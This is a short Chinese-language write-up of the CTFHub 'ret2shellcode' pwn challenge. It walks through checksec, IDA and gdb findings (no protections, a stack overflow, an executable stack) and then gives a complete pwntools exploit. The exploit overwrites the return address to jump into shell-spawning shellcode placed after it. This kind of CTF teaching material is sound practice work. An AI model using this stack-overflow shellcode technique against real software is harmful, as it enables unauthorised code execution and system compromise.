0%

CTFHUB Pwn ret2shellcode Writeup

题目链接

checksec 看一下:

20201101130628

没有保护。

IDA 反汇编看一下:

20201101140409

可以栈溢出。

20201101130748

没有 system 函数。

gdb vmmap 看一下栈是可执行的:

20201101131013

可以把 shellcode 放在返回地址之后,然后把返回地址指向 shellcode。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import re

# context.log_level = "debug"
context.arch = 'amd64'

p = process("./pwn")

buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15: -1], 16) # buf 的地址
shellcode_addr = buf_addr + 32 # shellcode 的地址 = buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8


shellcode = asm(shellcraft.sh())

payload = b'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

欢迎关注我的其它发布渠道